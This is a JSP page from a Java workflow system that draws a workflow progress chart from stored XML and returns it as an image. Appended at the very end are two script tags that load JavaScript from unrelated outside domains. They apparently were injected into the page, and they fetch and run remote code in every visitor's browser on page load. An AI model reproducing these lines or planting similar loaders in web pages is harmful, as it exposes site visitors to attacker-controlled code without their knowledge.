<%@ page import="java.util.*"%>
<%@ page import="java.io.*" %>
<%@ page import="java.net.*" %>
<%@ page import="java.sql.*"%>
<%@ page import="java.awt.*"%>
<%@ page import="java.awt.geom.*"%>
<%@ page import="javax.swing.*" %>
<%@ page import="org.jgraph.graph.DefaultGraphModel" %>
<%@ page import="org.jgraph.pad.DefaultGraphModelFileFormatXML" %>
<%@ page import="org.jgraph.pad.actions.FormatRoutingParallel" %>
<%@ page import="org.jgraph.pad.*" %>
<%@ page import="org.jgraph.graph.*" %>
<%@ page import="org.jgraph.layout.CircleGraphLayout" %>
<%@ page import="org.jgraph.layout.JGraphLayoutAlgorithm" %>
<%@ page import="org.jgraph.layout.SugiyamaLayoutAlgorithm" %>
<%@ page import="org.jgraph.util.JGraphUtilities" %>
<%@ page import="org.jgraph.util.JGraphUtilities" %>
<%@ page import="org.shetline.io.GIFOutputStream" %>
<%@ page import="java.awt.Graphics" %>
<%@ page import="java.awt.Image" %>
<%@ page import="com.dcivision.workflow.applet.WindowUtilities" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.workflow.applet.AppletResource"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowProgressForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowProgressForm"/>
<%!
    //java.sql.Connection conn = null;
    //conn = DataSourceFactory.getConnection();
    
    GPGraph gpgraph;
    /*
    private String selectedConnectName ;
    public void bulildTreeByDataBase(SessionContainer sessionContainer, Connection conn, HttpServletRequest request,GPGraph graph){
        Integer trackID = TextUtility.parseIntegerObj(request.getParameter("trackID"));
        Integer workflowRecordID = TextUtility.parseIntegerObj(request.getParameter("workflowRecordID"));
        Integer progressID = TextUtility.parseIntegerObj(request.getParameter("ID"));
        java.util.List tempList = new ArrayList();
        WorkflowStepDAObject workflowStepDAObject = new WorkflowStepDAObject (sessionContainer,conn);
        MtmWorkflowStepWorkflowStepDAObject workflowStepStepDAObject = new MtmWorkflowStepWorkflowStepDAObject (sessionContainer,conn);
        try{
            java.util.List workflowSteps = workflowStepDAObject.getListByWorkflowRecordID(workflowRecordID);
            java.util.List stepConnections = workflowStepStepDAObject.getListByWorkflowID(workflowRecordID);
            Integer[][] IDSeq = new Integer[workflowSteps.size()][2];
        DefaultPort[] cellPort = new DefaultPort[workflowSteps.size()];
        for(int i=0;i<workflowSteps.size();i++){
          WorkflowStep workflowStep = (WorkflowStep)workflowSteps.get(i);
          IDSeq[i][0] = workflowStep.getID();
          IDSeq[i][1] = workflowStep.getStepSeq();
          String showValue = workflowStep.getStepSeq().toString()+"."+workflowStep.getStepName();
          Point2D point = new Point(100, 50*i) ;
          cellPort[i] = insertNewStep(point,workflowStep, graph);        
        }
        for(int i=0;i<stepConnections.size();i++){
          MtmWorkflowStepWorkflowStep stepConnection = (MtmWorkflowStepWorkflowStep)stepConnections.get(i);
          Integer parentStepID = stepConnection.getParentStepID();
          Integer childStepID = stepConnection.getChildStepID();
          String parentType = stepConnection.getParentType();
          DefaultPort parentStepPort=null, childStepPort=null;
          for(int j=0;j<IDSeq.length;j++){
            if(IDSeq[j][0].equals(parentStepID)){
              parentStepPort = cellPort[j];
            }
            if(IDSeq[j][0].equals(childStepID)){
              childStepPort = cellPort[j];
            }
          }
          if(parentStepPort==null||childStepPort==null){
            continue;
          } else {
            connectSteps(parentStepPort, childStepPort, parentType, parentStepID);
          }
        }
        SugiyamaLayoutAlgorithm layout = new SugiyamaLayoutAlgorithm();
        layout.setSpacing(new Point(150,100));
        JGraphLayoutAlgorithm.applyLayout(graph,layout, graph.getRoots(),null );            
        }catch(IllegalArgumentException e){
        CircleGraphLayout layout = new CircleGraphLayout();
        JGraphLayoutAlgorithm.applyLayout(graph,layout, graph.getRoots(),null );
        }catch(Exception e){            
            throw new Exception(e);        
        }
    } 
    public DefaultPort insertNewStep(Point2D point, WorkflowStep workflowStep, GPGraph graph) {  
    //URL jgraphUrl = Editor.class.getClassLoader().getResource("gif\\Step.jpg");    
    //ImageIcon iIcon = new ImageIcon(jgraphUrl);    
    // Construct Vertex with no Label
    String actionType = workflowStep.getActionType();
    ImageIcon imageIcon  = getImageIconByActionType(actionType);
    ImageCell vertex = new ImageCell();
    GPUserObject userObject =new GPUserObject();
    userObject.putProperty("ID",workflowStep.getID().toString());
    if(WorkflowStep.ACTION_TYPE_SYSTEM_AUTO.equals(workflowStep.getActionType())){
      userObject.putProperty("STEPTYPE",workflowStep.getActionType()+workflowStep.getActionID());
    }else{
      userObject.putProperty("STEPTYPE",workflowStep.getActionType());
    }
    String showValue = workflowStep.getStepSeq().toString()+"."+workflowStep.getStepName();
    userObject.setValue(showValue);
    vertex.setUserObject(userObject);
    // Add one Floating Port
    DefaultPort defaultPort = new DefaultPort();
    vertex.add(defaultPort);
    // Snap the Point to the Grid
    point = graph.snap(point);
    // Default Size for the new Vertex
    Dimension size = new Dimension(100,30);
    // Create a Map that holds the attributes for the Vertex
    Map map = new Hashtable();
    // Add a Bounds Attribute to the Map
    GraphConstants.setBounds(map, new Rectangle2D.Double(
            point.getX(), point.getY(), size.getWidth(), size.getHeight()));
    //GraphConstants.setBackground( mpa,StepColor );
    // Add a Border Color Attribute to the Map
    //GraphConstants.setBorderColor(map, Color.black);
    // Add a White Background
    //GraphConstants.setBackground(map, STEP_TODO_COLOR);
    GraphConstants.setEditable(map, false);
    // Make Vertex Opaque
    GraphConstants.setOpaque(map, false);
    GraphConstants.setIcon(map,imageIcon);
    // Set Icon    
    //GraphConstants.setIcon(map,iIcon);
    // Construct a Map from cells to Maps (for insert)
    
    //GraphConstants.setForeground( map,Color.WHITE );
    
    Hashtable attributes = new Hashtable();
    // Associate the Vertex with its Attributes
    attributes.put(vertex, map);
    // Insert the Vertex and its Attributes (can also use model)
    graph.getGraphLayoutCache().insert(
        new Object[] { vertex },
        attributes,
        null,
        null,
        null);
    return defaultPort;
  }       
  
  protected ImageIcon getImageIconByActionType(String actionType){
      URL url =new  URL("client/gif/step_todo.gif");
      if(WorkflowStep.ACTION_TYPE_TASK_TO_DO.equals(actionType)){
        url = new URL("client/gif/step_todo.gif");
      } else if(WorkflowStep.ACTION_TYPE_BOOLEAN.equals(actionType)) {
        url = new URL("client/gif/step_bool.gif");
      } else if(WorkflowStep.ACTION_TYPE_APPROVAL.equals(actionType)){
        url = new URL("client/gif/step_bool.gif");
      } else if(WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(actionType)){
        url = new URL("client/gif/step_userdefined.gif");
      } else if(WorkflowStep.ACTION_TYPE_SYSTEM_AUTO.equals(actionType)){
        url = new URL("client/gif/step_auto.gif");
      } else if(WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(actionType)){
        url = new URL("client/gif/step_driven.gif");
      } else if(WorkflowStep.ACTION_TYPE_SUBMIT.equals(actionType)){
        url = new URL("client/gif/step_startend.gif");
      } else if(WorkflowStep.ACTION_TYPE_END.equals(actionType)){
        url = new URL("client/gif/step_startend.gif");
      }
      return new ImageIcon(url);
    }
    
    boolean connectSteps(DefaultPort parentStepPort, DefaultPort childStepPort, String parentType, Integer parentStepID){
      DefaultGraphCell parentStep  = (DefaultGraphCell)parentStepPort.getParent();
      String parentStepActionType = (String)((GPUserObject)parentStep.getUserObject()).getProperty("STEPTYPE");
      try{
      if("S".equals(parentType)){
        selectedConnectName = AppletResource.lableArr[86];
      } else if("T".equals(parentType)) {
        selectedConnectName = AppletResource.lableArr[90];
      } else if("F".equals(parentType)) {
        selectedConnectName = AppletResource.lableArr[89];
      } else if("A".equals(parentType)) {
        selectedConnectName = AppletResource.lableArr[87];
      } else if("R".equals(parentType)) {
        selectedConnectName = AppletResource.lableArr[88];
      } else if(parentType.length()>1&&parentType.substring(0,1).equals("S")) {
        ObjectInputStream inputFromServlet = null;
        String routeSeq = parentType.substring(1);
        //String getDataURL  = "/workflow/appletMiddleware?dataType=STEP_ROUTE&stepID="+parentStepID.toString()+"&routeSeq="+routeSeq+"&actionType="+parentStepActionType;
        Integer [][] IDSeq;
        String routeName=null;
        List tempList = null;
        WorkflowStep workflowStep = (WorkflowStep)workflowStepDAO.getObjectByID(parentStepID);
        if(WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(workflowStep.getActionType())){
          tempList = workflowStepRouteDAO.getListByWorkflowStepID(parentStepID);
          for(int i=0;i<tempList.size();i++){
            WorkflowStepRoute workflowStepRoute =(WorkflowStepRoute)tempList.get(i);
            if(routeSeq.equals(workflowStepRoute.getRouteSeq().toString())){
              routeName = workflowStepRoute.getRouteName();
              routeName = routeSeq+AppletConstant.SPLITCHAR+"U"+AppletConstant.SPLITCHAR+routeName+"&"+routeName;
              break;
            }
          }
        } else if(WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(workflowStep.getActionType())) {
          tempList = workflowStepFormEquatDAO.getListByWorkflowStepID(parentStepID);
          for(int i=0;i<tempList.size();i++){
            WorkflowStepFormEquat workflowStepFormEquat =(WorkflowStepFormEquat)tempList.get(i);
            if(Integer.parseInt(routeSeq)+1==workflowStepFormEquat.getRouteSeq().intValue()){
              routeName = workflowStepFormEquat.getRouteName();
              String formEquationValue = workflowStepFormEquat.getRouteName();
              formEquationValue+=WorkflowStepFormEquat.SPLIT_PREFIX_CHAR;
              formEquationValue+=workflowStepFormEquat.getDefaultFlag();
              formEquationValue+=WorkflowStepFormEquat.SPLIT_PREFIX_CHAR;
              formEquationValue+=workflowStepFormEquat.getOperand1();
              formEquationValue+=WorkflowStepFormEquat.SPLIT_PREFIX_CHAR;
              formEquationValue+=workflowStepFormEquat.getOperand2();
              formEquationValue+=WorkflowStepFormEquat.SPLIT_PREFIX_CHAR;
              formEquationValue+=workflowStepFormEquat.getCompare();
              formEquationValue+=WorkflowStepFormEquat.SPLIT_PREFIX_CHAR;
              formEquationValue+=workflowStepFormEquat.getFormEquation();
              formEquationValue+=WorkflowStepFormEquat.SPLIT_PREFIX_CHAR;
              formEquationValue+=workflowStepFormEquat.getOperationType();
              formEquationValue+=WorkflowStepFormEquat.SPLIT_PREFIX_CHAR;
              formEquationValue+=workflowStepFormEquat.getDateFormat();
              routeName = routeSeq.toString()+AppletConstant.SPLITCHAR+"D"+AppletConstant.SPLITCHAR+routeName+"#"+formEquationValue+"&"+routeName;
              break;
            }
          }
        } else if(WorkflowStep.ACTION_TYPE_SYSTEM_AUTO.equals(workflowStep.getActionType())) {
          Integer actionID = workflowStep.getActionID();
          WorkflowActionDAObject workflowActionDAObject = new WorkflowActionDAObject (sessionContainer,conn);
          WorkflowAction workflowAction = (WorkflowAction)workflowActionDAObject.getObjectByID(actionID);
          //String actionClassName = workflowAction.getActionClassName();
          //Class actionClass = Class.forName(actionClassName);
          //Constructor constructor = actionClass.getConstructor(new Class[]{});
          WorkflowProcessor workflowProcessor=AutomaticTaskFactory.getInstance(workflowAction);//mod by greatwall for AutomaticTask
          routeName = workflowProcessor.getLabelString(routeSeq);
          Locale locale = sessionContainer.getSessionLocale();
          routeName = MessageResourcesFactory.getMessage(locale, routeName);
          routeName = WorkflowStep.PARENT_TYPE_SINGLE+routeSeq+"&"+routeName;
          
        } else {
          String locale = request.getParameter("LOCALE");
          java.util.Locale newLocale = Utility.getLocaleByString(locale);
          routeName=MessageResourcesFactory.getMessage(newLocale, "workflow.label.step_status_G");
          routeName = WorkflowStep.PARENT_TYPE_SINGLE+routeSeq+"&"+routeName;
        }
        
        selectedConnectName = WindowUtilities.splitString(routeName,"&")[1];
        parentType=WindowUtilities.splitString(routeName,"&")[0];
          
        }        
        selectedType = SELECTED_TYPE_LINE_CUSTOM  ;
        selectedColor = LINE_CUSTOM_COLOR ;
        //selectedConnectName = CONNECTNAME_CUSTOM+parentType.substring(1);
      } catch(Exception e){
        LogFactory.getLog(this.getClass()).error(e, e);
        return false;
      }
      initConnect(parentStepPort, childStepPort, parentType);
      return true;
    }
    */
    %>
    <%
    Connection conn = null;
    try{
      Integer trackID = TextUtility.parseIntegerObj(request.getParameter("trackID"));
      //Integer workflowRecordID = TextUtility.parseIntegerObj(request.getParameter("workflowRecordID"));
      Integer progressID = TextUtility.parseIntegerObj(request.getParameter("workflowProgressID"));
      conn = DataSourceFactory.getConnection();
      
      WorkflowProgressDAObject workflowProgressdao = new WorkflowProgressDAObject(sessionContainer, conn);
      WorkflowProgressManager progressMgr = new WorkflowProgressManager(sessionContainer, conn);
      WorkflowStepDAObject workflowStepDAObject = new WorkflowStepDAObject (sessionContainer,conn);
      Integer workflowStepID = ((WorkflowProgress)workflowProgressdao.getObjectByID(progressID)).getWorkflowStepID();
      Integer workflowRecordID = ((WorkflowStep)workflowStepDAObject.getObjectByID(workflowStepID)).getWorkflowRecordID();
      MtmWorkflowProgressUserRecordDAObject progressUserRecordDAO = new MtmWorkflowProgressUserRecordDAObject(sessionContainer, conn);
      
      out.clear();
      response.setContentType("image/jpeg");
      response.addHeader("pragma","NO-cache");
      response.addHeader("Cache-Control","no-cache");
      response.addDateHeader("Expries",0);
      
      gpgraph = new GPGraph(new DefaultGraphModel());
            
      String url = SystemParameterFactory.getSystemParameter(SystemParameterConstant.APPLICATION_BASE_URL);
      String[] urlMessage = url.split("/");
      String projectName = urlMessage[urlMessage.length-1];
      String filePath = SystemParameterFactory.getSystemParameter(SystemParameterConstant.WORKFLOW_ATTACHMENT_PHYSICAL_PATH)+"/"+projectName+"/"+workflowRecordID.toString()+".xml";
      LogFactory.getLog(this.getClass()).debug(filePath);
      String workflowChart="";
      FileReader fileReader = new FileReader(new File(filePath));
      BufferedReader BR
             = new BufferedReader(new FileReader(filePath));
      String str;
      while((str=BR.readLine())!=null){
        workflowChart += str;
      }
      java.util.List connectionList = new  ArrayList();
      ByteArrayInputStream BAIS = new ByteArrayInputStream(workflowChart.getBytes());        
      DefaultGraphModelFileFormatXML.read(BAIS,gpgraph);
      AttributeMap map = new AttributeMap();
        GraphConstants.setRouting(map, FormatRoutingParallel.parallelEdgeRouter);
        GraphConstants.setRemoveAttributes(
          map,
          new Object[] { GraphConstants.POINTS });
        map.remove(GraphConstants.BOUNDS);
        map.remove(GraphConstants.POINTS);
        JGraphUtilities.editCells(gpgraph, gpgraph.getRoots(), map);
      Object[] cells = gpgraph.getRoots();
      for(int i = 0 ;i<cells.length ;i++){
        if(cells[i] != null){                
            //get edge
            if (cells[i] instanceof DefaultEdge ) {
                DefaultEdge edge = (DefaultEdge)cells[i];
                connectionList.add(edge);
            }
        }
      }
      String[] connectionArr= new String[connectionList.size()];
      for(int i = 0 ;i<connectionList.size() ;i++){
        DefaultEdge connection = (DefaultEdge)connectionList.get(i);
        GPUserObject connectionType = (GPUserObject)connection.getUserObject();
        String parentType = connectionType.getProperty("TYPE").toString();
        if(parentType.indexOf("$$")>0){
          parentType="S"+parentType.substring(0,1);
        }
        DefaultGraphCell step = (DefaultGraphCell)((DefaultPort)connection.getSource()).getParent();
        GPUserObject stepType = (GPUserObject)step.getUserObject();
        String stepID = stepType.getProperty("ID").toString();
        connectionArr[i]=stepID+"$$"+parentType;
      }
      
      java.util.List progressRouteList = new ArrayList();
      java.util.List progressList = progressMgr.getWorkflowProgressList(trackID);
      for(int i=0;i<progressList.size();i++){
        WorkflowProgress workflowProgress = (WorkflowProgress)progressList.get(i);
        Integer stepID = workflowProgress.getWorkflowStepID();
        java.util.List progressUserRecordList = progressUserRecordDAO.getUserProcessRecordByWorkflowProgressID(workflowProgress.getID());
        String progressStr=null;
        for(int j=0;j<progressUserRecordList.size();j++){
          MtmWorkflowProgressUserRecord mtmWorkflowProgressUserRecord = (MtmWorkflowProgressUserRecord)progressUserRecordList.get(j);
          String workflwoAction = mtmWorkflowProgressUserRecord.getWorkflowAction();
          if(WorkflowProgress.STATUS_SUBMIT.equals(workflwoAction)){
            progressStr = stepID.toString()+"$$"+"S";
          } else if(WorkflowProgress.STATUS_GENERAL_ACCOMPLISHMENT.equals(workflwoAction)){
            progressStr = stepID.toString()+"$$"+"S";
          } else {
             progressStr = stepID.toString()+"$$"+workflwoAction;
          }
          for(int k=0;k<connectionList.size();k++){
            if(progressStr.equals(connectionArr[k])){
              progressRouteList.add(connectionList.get(k));
              break;
            }
          }
        }
      }
      map = new AttributeMap();
      Color progressColor = Color.RED;
      GraphConstants.setLineColor(map, progressColor);
      JGraphUtilities.editCells(gpgraph, progressRouteList.toArray(), map);
      gpgraph.setVisible(true); 
      JFrame frame = new JFrame(); 
      frame.getContentPane().add(gpgraph);
      frame.pack(); 
      
      //frame.setSize(400,400);
      java.awt.image.BufferedImage bufferedimage = WindowUtilities.expToImage(gpgraph, 5);
      Graphics oGrf = bufferedimage.getGraphics();
      ByteArrayOutputStream oOut = new ByteArrayOutputStream();
      GIFOutputStream.writeGIF(oOut,bufferedimage);
      byte data[]=oOut.toByteArray();
      //fos.flush();
      //fos.close();
      ServletOutputStream outStream = response.getOutputStream();
      outStream.write(data);
      outStream.close();
      conn.close();
    }catch(Exception e){
      LogFactory.getLog(this.getClass()).error(e, e);
    } finally {
      conn = null;
    }
%>


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>